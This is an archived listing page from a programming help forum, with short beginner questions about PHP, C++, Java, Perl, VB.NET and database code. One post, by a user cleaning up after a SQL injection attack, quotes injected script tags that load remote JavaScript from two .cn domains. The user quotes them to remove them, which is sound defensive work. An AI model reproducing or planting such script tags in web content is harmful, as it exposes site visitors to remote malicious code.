199,114 Archived Topics

Remove Filter
Member Avatar for
Member Avatar for karthickj25

hi i am new to jsp, i need to create a jsp page that has list All, Add, Delete, Update button, the page should display all the records from the database when list All button is clicked and adds new record when add button is clicked and so on, is …

Member Avatar for musthafa.aj
0
143
Member Avatar for shyami

Hi, I am working with pylon framework, just i want to redirect a user to my another php script, if session expired. The below one is redirecting to another controller. i need to redirect to another php script. redirect_to(controller='test', action='index', _code=303) Any idea? Thanks -Shyami

Member Avatar for shyami
0
124
Member Avatar for silh

Hi everyone haven't posted for very long time. I' m having problems with the file_get_contents function, this function is present in 2 or 3 places in my application and opens a number of files. Now it always worked until recently when I realized that for some files, not all of …

Member Avatar for prem2
0
116
Member Avatar for Vindhyaauri

Hi there!! Just wanted to know how to match the line containing $$$$ from a file. Is this correct : (my $row =~ /\$\$\$\$/) Thanks in advance!!!

Member Avatar for rdxblast
0
67
Member Avatar for empror9

Hello guys, i would like to ask you about c++ language. i have an assignment and i want to do a movement for the hero? i have an assignment and i want to do a movement for the hero which will be controled by the keyboard.i apologise because my english …

Member Avatar for strmstn
0
145
Member Avatar for farvahar_mr

hi my friends1 i want to compile c++'s code in fedora but when i used this code: g++ Filename.cpp -o filename.exe my code compile successfully and when is used this code: ./filename.exe my program run but when encounter by scanf an i give input in give me "segmentation fault" an …

Member Avatar for strmstn
0
125
Member Avatar for lexeroni

any one have any suggestions why my code won't work? [CODE] #include <iostream> #include <fstream> #include <cmath> using namespace std; int intro(int &num_games); int random(); int main(void) { int seed(0), num_games(0); int point, point2(1); int a(0), b(0), c(0), d(0); cout<<"Lexi Barlow and Alex Puffer craps.cpp"<<endl; intro(num_games); cout<<"\nEnter a random seed …

Member Avatar for CreativeCoding
0
123
Member Avatar for GregPeters

Hi all, I have a procedure which needs to be used by a wide range of functions. I have a created a very basic program which should highlight my problem : [CODE] program untitled; function addnumbers(num1 : integer) : integer; begin result := num1 + 3; end; procedure sequence(I want …

Member Avatar for adraganov
0
1K
Member Avatar for wilko1995
Member Avatar for CreativeCoding
0
110
Member Avatar for maverick_ymca

Hi, Here at my organization we'd been using an app which worked perfectly fine on the current 5.5 tomcat. But now we wished to upgrade our server to version 6.0 . The problem is that the application almost refuses to start up. I had this web.xml modified to comment out …

Member Avatar for ~s.o.s~
0
99
Member Avatar for wilko1995

Hey, im making a code to ask a user to type in a username and password to continue and for the console to say "thanks" and i need help. Heres my "Unsuccessful" Code: [code]#include <iostream> using namespace std; int main(){ int a, b; a = 159876; b = 43812385; int …

Member Avatar for wilko1995
0
123
Member Avatar for nats01282

i have been told to use a do while loop instead of a goto statment, here is a code i made to try the do while loop, [CODE] int main() { int A = 0; cout << "Enter a number from 1 - 5 " ; cin >> A; do …

Member Avatar for photoyid
0
103
Member Avatar for vijaysoft1

Hi friends , I want a help from you people . I totally confused with PHP Pagination , here itself i posted a thread for help on Pagination but still i am confused . Please help me First << [B][COLOR="Green"]1[/COLOR] 2 3 4 5 6 7 8 9 . . …

Member Avatar for Stefano Mtangoo
0
95
Member Avatar for ravenrider

Hello I was always wondering whats the difference between compiling in these different environment Linux and Windows ! and Why can’t we just run the same executable file (compiled in Linux) both on Windows 7 and Ubuntu? also I

Member Avatar for ravenrider
0
56
Member Avatar for houlahan

OK so im new to XML i want to save lots of serialized objects to XML then read the objects back in from the xml with ease using the get and set methods i have in place, is they any real easy way of doing this? thanks in advanced Houlahan.

Member Avatar for ~s.o.s~
0
77
Member Avatar for JigneshManek

hello, i have used the following code for file upload: [CODE=php] $id=100; $upload_dir = "images/"; do { $photo = $_FILES['photo']; switch($photo['error']) { case UPLOAD_ERR_INI_SIZE: $err2 = "Server doesn't allow the image size.. Please select a smaller one.."; break 2; case UPLOAD_ERR_PARTIAL: $err2 = "The image was not transferred successfully.."; break …

Member Avatar for JigneshManek
0
156
Member Avatar for aceofspades451

I'm trying to design an algorithm that will output data from an array in random order but not repeat until every peace of the data has been output. The size of the array is small (about 10). it picks a random prime number smaller than the size of the array(lets …

Member Avatar for aceofspades451
0
152
Member Avatar for logonchristy
Member Avatar for Bart_sg

[CODE]#include <iostream> #include <iomanip> #include <string> using namespace std; int main() { double V,I,pf,Ib; unsigned short int choice; int In; cout<<"Please choose power supply type\n"; cin>>choice; switch(choice) { case 1:cout<<"You have chosen a single phase power supply\n"; break; case 2:cout<<"You have chosen a three phase power supply\n"; break; default:cout<<"Invalid Choice …

Member Avatar for WaltP
0
71
Member Avatar for sikeufoo

The highlighted part below is where the function located...Is there any problem with the input? [CODE]#include <iostream> #include <iomanip> using namespace std; // function declaration for price to pay. [COLOR="Red"]float caldiscountprice(float[],int[],float[]); [/COLOR] // function declaration for discounted price. [COLOR="Red"]float calpriceafterdiscount(float[],int[],float[]); [/COLOR]//function declaration for Price after Discount int main() { int …

Member Avatar for WaltP
0
127
Member Avatar for codeblock

Hello all, I have a page that allows the user to update their account detail. The prblem is that when the page loads the users inforamtion doesn't appear in the text fields. I've checked the code and i cant see any errors nor does php flag any errors. Can someone …

Member Avatar for Will Gresham
0
160
Member Avatar for rajeevkag

We are developing a C++ project with 10 cpp files and 3 header files.We are declared array structure of 3 integer varibles globaly in header file and using in some files and where arrays are updated ,re-adjusted in some cpp files and use in another files.Project is running fine but …

Member Avatar for rajeevkag
0
97
Member Avatar for pocix

question: The program should prompt the user to enter data for the width and height of the 2 rectangles and use the setWidth() and setLength() methods to store this data in the instance variables. driver [CODE] import javax.swing.*; public class Room { public static void main(String[ ] args) { double …

Member Avatar for pocix
0
76
Member Avatar for ineedhelp:(

[code] #include <iostream> #include <cmath> using namespace std; int main() { double L, APR, Payment, N, brac1, brac2; cout << "Please enter the loan amount: "; cin >>L; cout << "Please enter the APR: "; cin >>APR; cout << "Please enter the number of payments required: "; cin>>N; brac1 = …

Member Avatar for mrnutty
0
124
Member Avatar for donelliewhyte

Thanks for your help so far that i have achieved my goal. My other problem is updating a particular record using fseek() [CODE]void updaterecord(void) { system("color 2"); struct custinfo info; FILE *customer1; customer1=fopen("customer1.txt","r"); if (customer1==NULL) printf("\n\n\t\t\t FILE WAS NOT FOUND "); else { char choice4; char Target[50]; int Found=0; if((customer1=fopen("customer1.txt","r"))==NULL) …

Member Avatar for Ancient Dragon
0
132
Member Avatar for preetg

Hello all I am trying to do--Attendance of the month march and i want format for text file is like employeecode 1 2 3 4 5 6 7 8------30 E01 A P P P p P P P E02 -- -- -- I m using mysql database. My tables for …

Member Avatar for preetg
0
166
Member Avatar for SCass2010

Hi again, This is a problem I've been struggling with for a while... I have an access 2007 Database where I store several different "Jobs" such as repair job, data recovery job etc. At the min I have a form where the user can view a customer's related jobs either …

Member Avatar for kvprajapati
0
499
Member Avatar for wezjusz

Hi everyone. I got tuday an exercise: Write a program to calculate the average of three exam marks. The input and output should be done by subprograms GetMarks and DisplayAverage respectively. the calculation should be done by a function, CalcAverage. This is my code: [code]Private Sub btnCalculate_Click(ByVal sender As System.Object, …

Member Avatar for kvprajapati
0
276
Member Avatar for lionaneesh

[CODE] #include<stdio.h> int main() { FILE *reading; FILE *writing; int condition,condition2; char input[100]; char save[100]; printf("Type a name to open for reading : "); scanf("%s",input); reading = fopen(input,"r"); /* OPENS the file name we typed above for reading */ if(reading != NULL) { do { condition = fgets(save,30,reading); printf("\n%s",save); }while(condition …

Member Avatar for Aia
0
130
Member Avatar for freshfitz

How would I clean everhing after script got a sql injection attack Electric repeater beanie green<script src="http://nt010.cn/E/J.JS"></script><script src="http://nt004.cn/E/J.JS"></script> need to clean everything after <script>

Member Avatar for freshfitz
0
100
Member Avatar for betabasic

I switch from vb6 to vb.net.. and it's not that easy to familiarize .net syntax :) here's what i want.. 1 webbrowser1 1 button1 ( multiline ) 1 textbox1 how can i view the webbrowser1 source code in the textbox1 by click the button? -------------- this can be done in …

Member Avatar for betabasic
0
128
Member Avatar for nverma

can i embed a ppt in an aspx page ,,,withoud allowing it to be downloaded,saved,,,,it should only be viewd

Member Avatar for kvprajapati
0
91
Member Avatar for deerowbear

Hi there, I was curious why I am getting an out of bounds exception in this code. Any pointers would be very helpful. Thanks daniel [CODE]using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Text.RegularExpressions; /* Data Structures Infix2Postfix: Ex. 23.6, pp. 1208 OR Ex. 25.6 Page 1363 OR Ex. …

Member Avatar for deerowbear
0
259
Member Avatar for jaque322

a friend of mine have instaled apache in other machine and i have stored my php scripts in htdocs but i dont know how connect remotely from other computer please if someone can help me

Member Avatar for i-hate-blue
0
90
Member Avatar for cyberguy007

My input file contain: 1 2 3 4 5 6 why is it not reading properly, i tried implementing fget and fread but failed even after reading dani web and other tutorials. [CODE]#include <stdio.h> #include <stdlib.h> #include <conio.h> typedef struct{ char lname[20]; char fname[20]; int salary; }employee; const int max …

Member Avatar for WaltP
0
101
Member Avatar for Bubbleboy

I am really confused. I want to make a <p> tag hidden using javascript, and then, if i detect its running IE, i want to make it visible. I can't even make it hidden though. I have tried [CODE]<script type="text/javascript> document.warning.style[visibility] = 'hidden';[/CODE] i've tried [CODE]<script type="text/javascript> document.warning.style.visibility = 'hidden';[/CODE] …

Member Avatar for Bubbleboy
0
198
Member Avatar for PhiberOptik

Hey guys I'm trying to export my game from eclipse to an executable jar. When I launch it in eclipse it works perfectly. When I export it nothing happens and when I launch it through console i get this: [url]http://img697.imageshack.us/img697/899/errordc.png[/url] and I have main class [CODE=java]public class main { public …

Member Avatar for Ezzaral
0
123
Member Avatar for Ca67

Language : C++ I have had a bit of confusion with overloading the script operator. Not really sure on how to incorporate the operator. I am almost finished coding a program assignment except for this problem with the srcipt operator. The script operator info taken directly from assignment instructions is …

Member Avatar for Dave Sinkula
0
121
Member Avatar for beckybc920

I am new to developing so please bear with me, I am using SQL Server to create an xml output (using the FOR XML clause). In Query analyzer the xml document is produced correctly with all the element and child nodes. I am using asp.net and the XmlReader to read …

Member Avatar for kvprajapati
0
108
Member Avatar for nazgulsecret

hi...can anyony help me how to access a existing textbox using threading..i need it for auto complete functionality...... plz S.O.S.......

Member Avatar for kvprajapati
0
74
Member Avatar for Mike516

The code should take the IDs and delete them from the tables but it isn't we are getting errors. Anyone see anything wrong? [code=php] <?php ############### # Prune.php # ############### //Variables $dbhost = "localhost"; //host name $dbuser = "root"; // username for db $dbname = "dbname"; // database name $dbpass …

Member Avatar for Mike516
0
107
Member Avatar for perly

Hi, I need help to make a perl program work. The program accepts an input (reaction) and then search for the input in a file and then displays the reaction on the same line. Input file - file.txt (A large file with no header and in the following format): A1_HTTT24 …

Member Avatar for perly
0
127
Member Avatar for ttunstall07

i am trying to work on an assignment that asks me to prompt the user for a name of one of three employees, then prompt for the work hours of 6 days. each of these will be stored in a separate array. then i am to implement the following rules …

Member Avatar for jonsca
0
80
Member Avatar for jtodd

Hey everyone! I am a newbie to java and I have what is probably a simple question. I have add a program I am working on to randomly display random numbers from 104, 105, 106, and 108. I have gone about this by creating an array and storing the numbers …

Member Avatar for jtodd
0
128
Member Avatar for keny2020j

My code is : /* Database.java*/ [code] import java.sql.*; import java.awt.*; import javax.swing.*; public class Database{ private static Connection con = null; public static Statement statement = null; public static void makeConnection() { JOptionPane.showMessageDialog(null, "database"); String driver = "sun.jdbc.odbc.JdbcOdbcDriver"; String url = "jdbc:odbc:lib"; String username = ""; String password = …

Member Avatar for keny2020j
0
217
Member Avatar for mebob

Hi, i am doing my mom's c++ for engineering class, and doing a project for her, i noticed something in the extra credit section of her project directions. it says to add graphics to represent what variables the users are entering. in this one, it is about beam deflection, and …

Member Avatar for mebob
0
120
Member Avatar for gringofandingo

Please help me finish my project. I am a novice and completely new to python and hopelessly lost. I hope somebody will be able to help me. Here is my problem, I am working on a project for class and I am stuck. My program is supposed to be simple, …

Member Avatar for redyugi
0
134
Member Avatar for whoamineo89

so far the address book is compiling and takes in entries and runs all the other functions but the search and delete methods don't work even though I have the entry entered in a file and the code should use that very same file to display the names etc if …

Member Avatar for donelliewhyte
0
191
Member Avatar for Bigojac2000

Each of the two food stores, A and B, of the same company has a list of products that are available in its stock. We assume that the standard input contains NA records for food store A and NB records for food store B. Each record describes the code of …

Member Avatar for NathanOliver
0
190
Member Avatar for jamey8420

Hello, I have a php page that I am using AJAX to populate some check boxes based on a selection in a drop down box. Now, I'd like to expand that functionality to do something similar to this: [url]http://www.dhtmlgoodies.com/scripts/multiple_select/multiple_select.html[/url] However, the troubling part is that I can have multiple groups …

Member Avatar for jamey8420
0
195

The End.